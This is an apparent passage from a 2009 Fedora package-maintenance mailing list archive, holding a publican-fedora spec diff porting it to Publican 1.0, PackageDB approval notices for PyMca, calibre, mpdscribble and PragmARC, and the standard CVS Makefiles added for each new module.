+publican-fedora-1_0-0_fc11:HEAD:publican-fedora-1.0-0.fc11.src.rpm:1257032853


Index: publican-fedora.spec
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/devel/publican-fedora.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- publican-fedora.spec	7 Oct 2009 03:17:25 -0000	1.14
+++ publican-fedora.spec	31 Oct 2009 23:49:47 -0000	1.15
@@ -2,16 +2,16 @@
 
 Name:		publican-%{brand}
 Summary:	Publican documentation template files for %{brand}
-Version:	0.19
-Release:	3%{?dist}
+Version:	1.0
+Release:	0%{?dist}
 License:	Open Publication 
 Group:		Development/Libraries
 Buildroot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Buildarch:	noarch
-Source:		https://fedorahosted.org/releases/p/u/publican/%{name}-%{version}.tgz
-Requires:	publican
-BuildRequires:	publican
-URL:		https://fedorahosted.org/publican
+Source:		https://fedorahosted.org/releases/publican/%{name}-%{version}.tgz
+Requires:	publican >= 1.0
+BuildRequires:	publican >= 1.0
+URL:		https://publican.fedorahosted.org/
 Obsoletes:	documentation-devel-Fedora
 
 %description
@@ -22,19 +22,12 @@ for %{brand} with publican.
 %setup -q
 
 %build
-%{__make} Common_Content
+publican build --formats=xml --langs=all --publish
 
 %install
 rm -rf $RPM_BUILD_ROOT
-mkdir -p -m755 $RPM_BUILD_ROOT%{_datadir}/publican/Templates
-mkdir -p -m755 $RPM_BUILD_ROOT%{_datadir}/publican/make
-mkdir -p -m755 $RPM_BUILD_ROOT%{_datadir}/publican/xsl/%{brand}
-cp -rf Common_Content $RPM_BUILD_ROOT%{_datadir}/publican/
-cp -rf Book_Template $RPM_BUILD_ROOT%{_datadir}/publican/Templates/%{brand}-Book_Template
-cp -rf Set_Template $RPM_BUILD_ROOT%{_datadir}/publican/Templates/%{brand}-Set_Template
-cp -rf Article_Template $RPM_BUILD_ROOT%{_datadir}/publican/Templates/%{brand}-Article_Template
-install -m 755 make/Makefile.%{brand} $RPM_BUILD_ROOT%{_datadir}/publican/make/.
-install -m 755 xsl/*.xsl $RPM_BUILD_ROOT%{_datadir}/publican/xsl/%{brand}/.
+mkdir -p -m755 $RPM_BUILD_ROOT%{_datadir}/publican/Common_Content
+publican installbrand --path=$RPM_BUILD_ROOT%{_datadir}/publican/Common_Content
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -44,61 +37,14 @@ rm -rf $RPM_BUILD_ROOT
 %doc README
 %doc COPYING
 %{_datadir}/publican/Common_Content/%{brand}
-%{_datadir}/publican/Templates/%{brand}-*_Template
-%{_datadir}/publican/make/Makefile.%{brand}
-%{_datadir}/publican/xsl/%{brand}
 
 %changelog
-* Wed Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-3
-- Fix date in 0.19-2 changelog
-- Update Fedora Feedback in Polish Piotr Dr?g <piotrdrag at gmail.com>
-* Wed Oct 7 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-2
-- Fix languages missing from 0.19-1 Makefile -- he-IL, nb-NO, nl-NL, sv-SE
-- Tue Oct 6 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
-- Update Fedora Feedback in Ukrainian
-* Mon Oct 5 2009 R?diger Landmann <r.landmann at redhat.com> 0.19-1
-- Update Legal Notice for CC-BY-SA-3.0 Unported, plus other tweaks per Red Hat legal
-- Add Fedora logos with correct trademarks. BZ #492041
-- Sat Oct 3 2009 Maxim V. Dziumanenko <dziumanenko at gmail.com>
-- Translate Fedora Feedback into Ukrainian
-- Fri Sep 4 2009 Ville-Pekka Vainio <vpivaini at cs.helsinki.fi>
-- Translate Fedora Feedback into Finnish
-- Sun Aug 9 2009 Josip ?ume?ki <shumi.1337 at gmail.com>
-- Translate Fedora Feedback into Croatian
-- Sun Aug 9 2009 Robert Buj <robert.buj at gmail.com>
-- Translate Fedora Feedback into Catalan
-- Sun Jun 15 2009 Sindre Wetjen <sindre.w at gmail.com>
-- Translate Fedora Feedback into Norwegian (Bokm?l)
-- Fri Jun 05 2009 Oron Peled <oron at actcom.co.il>
-- Translate Fedora Feedback into Hebrew
-- Thu Jun 04 2009 Jurijs Kolomijecs <admin at irben.id.lv>
-- Translate Fedora Feedback into Latvian
-- Mon May 25 2009 Nikola ?tohanzl <niko at srnet.cz>
-- Translate Fedora Feedback into Czech
-- Sun May 10 2009 Pavol ?imo <palo.simo at gmail.com>
-- Translate Fedora Feedback into Slovak 
-- Fri May 08 2009 Arnes Arnautovi? <arnes99 at gmail.com>
-- Translate Fedora Feedback into Bosnian
-- Sun Apr 19 2009 Manatsawin Hanmongkolchai <manatsawin at gmail.com>
-- Translate Fedora Feedback into Thai
-- Thu Apr 16 2009 Sveinn ? Felli <sveinki at nett.is>
-- Translate Fedora Feedback into Icelandic
-- Wed Apr 08 2009 Sulyok Peti <sulyokpeti at gmail.com>
-- Translate Fedora Feedback into Hungarian
-- Mon Mar 23 2009 G?ran Uddeborg <goeran at uddeborg.se>
-- Translate Fedora Feedback into Swedish
-- Fri Mar 20 2009  Noriko Mizumoto <noriko at redhat.com> 
-- Update Fedora Feedback in Japanese
-- Thu Mar 19 2009 Kris Thomsen <lakristho at gmail.com>
-- Translate Fedora Feedback into Danish
-- Fri Mar 13 2009  Jeff Fearn <jfearn at redhat.com> 
+* Fri Oct 30 2009 Jeff Fearn <jfearn at redhat.com> 1.0
+- port to publican 1.0.
+
+* Fri Mar 13 2009  Jeff Fearn <jfearn at redhat.com> 0.19
 - Fix right to left fo ar-AR. BZ #486162
 - Patches and translations by Muayyad Alsadi <alsadi at ojuba.org> 
-- Tue Mar 10 2009 Alexey Vasyukov <vasyukov at vdel.com>
-- Translate Fedora Feedback into Russian
-
-* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.18-1
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
 * Mon Mar 9 2009  Jeff Fearn <jfearn at redhat.com> 0.18
 - Add symlinks for langauges without country codes. BZ #487256


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/publican-fedora/devel/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	7 Oct 2009 03:17:25 -0000	1.13
+++ sources	31 Oct 2009 23:49:47 -0000	1.14
@@ -1 +1 @@
-25ca41070d4156adb05c44b21a50df08  publican-fedora-0.19.tgz
+d77ae1709114946cbc06c1c898f100e2  publican-fedora-1.0.tgz



From pkgdb at fedoraproject.org  Sat Oct 31 23:49:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:49:57 +0000
Subject: [pkgdb] PyMca was added for jussilehtola
Message-ID: <20091031234957.6368D10F843@bastion2.fedora.phx.redhat.com>

kevin has added Package PyMca with summary GUI for multi-channel analyser spectra visualization and analysis
kevin has approved Package PyMca
kevin has added a Fedora devel branch for PyMca with an owner of jussilehtola
kevin has approved PyMca in Fedora devel
kevin has approved Package PyMca
kevin has set commit to Approved for 107427 on PyMca (Fedora devel)
kevin has set checkout to Approved for 107427 on PyMca (Fedora devel)
kevin has set build to Approved for 107427 on PyMca (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/PyMca



From pkgdb at fedoraproject.org  Sat Oct 31 23:49:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:49:59 +0000
Subject: [pkgdb] PyMca summary updated by kevin
Message-ID: <20091031234959.1419810F849@bastion2.fedora.phx.redhat.com>

kevin set package PyMca summary to GUI for multi-channel analyser spectra visualization and analysis

To make changes to this package see:
  /pkgdb/packages/name/PyMca



From pkgdb at fedoraproject.org  Sat Oct 31 23:49:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:49:59 +0000
Subject: [pkgdb] PyMca (Fedora, 11) updated by kevin
Message-ID: <20091031234959.2692110F861@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for PyMca
kevin has set commit to Approved for 107427 on PyMca (Fedora 11)
kevin has set checkout to Approved for 107427 on PyMca (Fedora 11)
kevin has set build to Approved for 107427 on PyMca (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/PyMca



From pkgdb at fedoraproject.org  Sat Oct 31 23:49:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:49:59 +0000
Subject: [pkgdb] PyMca (Fedora, 11) updated by kevin
Message-ID: <20091031234959.32F5810F86A@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for PyMca
kevin has set commit to Approved for 107427 on PyMca (Fedora 12)
kevin has set checkout to Approved for 107427 on PyMca (Fedora 12)
kevin has set build to Approved for 107427 on PyMca (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/PyMca



From kevin at fedoraproject.org  Sat Oct 31 23:50:14 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:50:14 +0000 (UTC)
Subject: rpms/PyMca - New directory
Message-ID: <20091031235014.2A8E711C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/PyMca
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsx30117/rpms/PyMca

Log Message:
Directory /cvs/pkgs/rpms/PyMca added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:50:14 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:50:14 +0000 (UTC)
Subject: rpms/PyMca/devel - New directory
Message-ID: <20091031235014.9F99411C029D@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/PyMca/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsx30117/rpms/PyMca/devel

Log Message:
Directory /cvs/pkgs/rpms/PyMca/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:50:29 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:50:29 +0000 (UTC)
Subject: rpms/PyMca Makefile,NONE,1.1
Message-ID: <20091031235029.2036B11C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/PyMca
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsx30117/rpms/PyMca

Added Files:
	Makefile 
Log Message:
Setup of module PyMca


--- NEW FILE Makefile ---
# Top level Makefile for module PyMca
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 31 23:50:29 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:50:29 +0000 (UTC)
Subject: rpms/PyMca/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources, 
	NONE, 1.1
Message-ID: <20091031235029.CA85E11C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/PyMca/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsx30117/rpms/PyMca/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module PyMca


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: PyMca
# $Id: Makefile,v 1.1 2009/10/31 23:50:29 kevin Exp $
NAME := PyMca
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 31 23:51:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:51:21 +0000
Subject: [pkgdb] calibre was added for mapleoin
Message-ID: <20091031235121.F12C710F841@bastion2.fedora.phx.redhat.com>

kevin has added Package calibre with summary E-book converter and library manager
kevin has approved Package calibre
kevin has added a Fedora devel branch for calibre with an owner of mapleoin
kevin has approved calibre in Fedora devel
kevin has approved Package calibre
kevin has set commit to Approved for 107427 on calibre (Fedora devel)
kevin has set checkout to Approved for 107427 on calibre (Fedora devel)
kevin has set build to Approved for 107427 on calibre (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/calibre



From pkgdb at fedoraproject.org  Sat Oct 31 23:51:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:51:23 +0000
Subject: [pkgdb] calibre summary updated by kevin
Message-ID: <20091031235123.290D910F846@bastion2.fedora.phx.redhat.com>

kevin set package calibre summary to E-book converter and library manager

To make changes to this package see:
  /pkgdb/packages/name/calibre



From pkgdb at fedoraproject.org  Sat Oct 31 23:51:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:51:23 +0000
Subject: [pkgdb] calibre (Fedora, 12) updated by kevin
Message-ID: <20091031235123.3272410F85D@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for calibre
kevin has set commit to Approved for 107427 on calibre (Fedora 12)
kevin has set checkout to Approved for 107427 on calibre (Fedora 12)
kevin has set build to Approved for 107427 on calibre (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/calibre



From kevin at fedoraproject.org  Sat Oct 31 23:51:46 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:51:46 +0000 (UTC)
Subject: rpms/calibre - New directory
Message-ID: <20091031235146.3611B11C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/calibre
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvso30674/rpms/calibre

Log Message:
Directory /cvs/pkgs/rpms/calibre added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:51:46 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:51:46 +0000 (UTC)
Subject: rpms/calibre/devel - New directory
Message-ID: <20091031235146.B8B6511C0345@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/calibre/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvso30674/rpms/calibre/devel

Log Message:
Directory /cvs/pkgs/rpms/calibre/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:52:06 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:52:06 +0000 (UTC)
Subject: rpms/calibre Makefile,NONE,1.1
Message-ID: <20091031235206.2808811C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/calibre
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvso30674/rpms/calibre

Added Files:
	Makefile 
Log Message:
Setup of module calibre


--- NEW FILE Makefile ---
# Top level Makefile for module calibre
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 31 23:52:07 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:52:07 +0000 (UTC)
Subject: rpms/calibre/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091031235207.8D88411C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/calibre/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvso30674/rpms/calibre/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module calibre


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: calibre
# $Id: Makefile,v 1.1 2009/10/31 23:52:06 kevin Exp $
NAME := calibre
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 31 23:52:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:52:48 +0000
Subject: [pkgdb] mpdscribble was added for jaroslav
Message-ID: <20091031235248.C74A610F841@bastion2.fedora.phx.redhat.com>

kevin has added Package mpdscribble with summary A mpd client which submits information about tracks being played to last.fm
kevin has approved Package mpdscribble
kevin has added a Fedora devel branch for mpdscribble with an owner of jaroslav
kevin has approved mpdscribble in Fedora devel
kevin has approved Package mpdscribble
kevin has set commit to Approved for 107427 on mpdscribble (Fedora devel)
kevin has set checkout to Approved for 107427 on mpdscribble (Fedora devel)
kevin has set build to Approved for 107427 on mpdscribble (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/mpdscribble



From pkgdb at fedoraproject.org  Sat Oct 31 23:52:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:52:50 +0000
Subject: [pkgdb] mpdscribble (Fedora, 11) updated by kevin
Message-ID: <20091031235250.D22BF10F85D@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for mpdscribble
kevin has set commit to Approved for 107427 on mpdscribble (Fedora 11)
kevin has set checkout to Approved for 107427 on mpdscribble (Fedora 11)
kevin has set build to Approved for 107427 on mpdscribble (Fedora 11)
kevin approved watchbugzilla on mpdscribble (Fedora 11) for peter
kevin approved watchcommits on mpdscribble (Fedora 11) for peter

To make changes to this package see:
  /pkgdb/packages/name/mpdscribble



From pkgdb at fedoraproject.org  Sat Oct 31 23:52:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:52:50 +0000
Subject: [pkgdb] mpdscribble summary updated by kevin
Message-ID: <20091031235250.CE32A10F846@bastion2.fedora.phx.redhat.com>

kevin set package mpdscribble summary to A mpd client which submits information about tracks being played to last.fm

To make changes to this package see:
  /pkgdb/packages/name/mpdscribble



From pkgdb at fedoraproject.org  Sat Oct 31 23:52:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:52:50 +0000
Subject: [pkgdb] mpdscribble (Fedora, 11) updated by kevin
Message-ID: <20091031235250.DA9DB10F867@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on mpdscribble (Fedora devel) for peter
kevin approved watchcommits on mpdscribble (Fedora devel) for peter

To make changes to this package see:
  /pkgdb/packages/name/mpdscribble



From pkgdb at fedoraproject.org  Sat Oct 31 23:52:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:52:50 +0000
Subject: [pkgdb] mpdscribble (Fedora, 11) updated by kevin
Message-ID: <20091031235250.E31A710F871@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for mpdscribble
kevin has set commit to Approved for 107427 on mpdscribble (Fedora 12)
kevin has set checkout to Approved for 107427 on mpdscribble (Fedora 12)
kevin has set build to Approved for 107427 on mpdscribble (Fedora 12)
kevin approved watchbugzilla on mpdscribble (Fedora 12) for peter
kevin approved watchcommits on mpdscribble (Fedora 12) for peter

To make changes to this package see:
  /pkgdb/packages/name/mpdscribble



From kevin at fedoraproject.org  Sat Oct 31 23:53:07 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:53:07 +0000 (UTC)
Subject: rpms/mpdscribble - New directory
Message-ID: <20091031235307.27A1611C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/mpdscribble
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsq31146/rpms/mpdscribble

Log Message:
Directory /cvs/pkgs/rpms/mpdscribble added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:53:07 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:53:07 +0000 (UTC)
Subject: rpms/mpdscribble/devel - New directory
Message-ID: <20091031235307.BBAE011C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/mpdscribble/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsq31146/rpms/mpdscribble/devel

Log Message:
Directory /cvs/pkgs/rpms/mpdscribble/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:53:26 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:53:26 +0000 (UTC)
Subject: rpms/mpdscribble Makefile,NONE,1.1
Message-ID: <20091031235326.29F2E11C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/mpdscribble
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsq31146/rpms/mpdscribble

Added Files:
	Makefile 
Log Message:
Setup of module mpdscribble


--- NEW FILE Makefile ---
# Top level Makefile for module mpdscribble
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 31 23:53:26 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:53:26 +0000 (UTC)
Subject: rpms/mpdscribble/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091031235326.A20FA11C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/mpdscribble/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsq31146/rpms/mpdscribble/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module mpdscribble


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: mpdscribble
# $Id: Makefile,v 1.1 2009/10/31 23:53:26 kevin Exp $
NAME := mpdscribble
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$d/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 31 23:54:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:54:04 +0000
Subject: [pkgdb] PragmARC was added for rombobeorn
Message-ID: <20091031235404.12A5B10F843@bastion2.fedora.phx.redhat.com>

kevin has added Package PragmARC with summary PragmAda Reusable Components, a component library for Ada
kevin has approved Package PragmARC
kevin has added a Fedora devel branch for PragmARC with an owner of rombobeorn
kevin has approved PragmARC in Fedora devel
kevin has approved Package PragmARC
kevin has set commit to Approved for 107427 on PragmARC (Fedora devel)
kevin has set checkout to Approved for 107427 on PragmARC (Fedora devel)
kevin has set build to Approved for 107427 on PragmARC (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/PragmARC



From pkgdb at fedoraproject.org  Sat Oct 31 23:54:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:54:05 +0000
Subject: [pkgdb] PragmARC summary updated by kevin
Message-ID: <20091031235405.7396510F86A@bastion2.fedora.phx.redhat.com>

kevin set package PragmARC summary to PragmAda Reusable Components, a component library for Ada

To make changes to this package see:
  /pkgdb/packages/name/PragmARC



From pkgdb at fedoraproject.org  Sat Oct 31 23:54:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:54:05 +0000
Subject: [pkgdb] PragmARC (Fedora, 11) updated by kevin
Message-ID: <20091031235405.8136B10F872@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for PragmARC
kevin has set commit to Approved for 107427 on PragmARC (Fedora 11)
kevin has set checkout to Approved for 107427 on PragmARC (Fedora 11)
kevin has set build to Approved for 107427 on PragmARC (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/PragmARC



From pkgdb at fedoraproject.org  Sat Oct 31 23:54:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 31 Oct 2009 23:54:05 +0000
Subject: [pkgdb] PragmARC (Fedora, 11) updated by kevin
Message-ID: <20091031235405.8972A10F87F@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for PragmARC
kevin has set commit to Approved for 107427 on PragmARC (Fedora 12)
kevin has set checkout to Approved for 107427 on PragmARC (Fedora 12)
kevin has set build to Approved for 107427 on PragmARC (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/PragmARC



From kevin at fedoraproject.org  Sat Oct 31 23:54:24 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:54:24 +0000 (UTC)
Subject: rpms/PragmARC - New directory
Message-ID: <20091031235424.28FC711C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/PragmARC
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsi31685/rpms/PragmARC

Log Message:
Directory /cvs/pkgs/rpms/PragmARC added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:54:24 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:54:24 +0000 (UTC)
Subject: rpms/PragmARC/devel - New directory
Message-ID: <20091031235424.B000B11C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/PragmARC/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsi31685/rpms/PragmARC/devel

Log Message:
Directory /cvs/pkgs/rpms/PragmARC/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 31 23:54:48 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:54:48 +0000 (UTC)
Subject: rpms/PragmARC Makefile,NONE,1.1
Message-ID: <20091031235448.7A02711C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/PragmARC
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsi31685/rpms/PragmARC

Added Files:
	Makefile 
Log Message:
Setup of module PragmARC


--- NEW FILE Makefile ---
# Top level Makefile for module PragmARC
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 31 23:54:49 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 31 Oct 2009 23:54:49 +0000 (UTC)
Subject: rpms/PragmARC/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091031235449.49EA611C00EF@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/PragmARC/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsi31685/rpms/PragmARC/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module PragmARC


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: PragmARC
# $Id: Makefile,v 1.1 2009/10/31 23:54:48 kevin Exp $
NAME := PragmARC
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
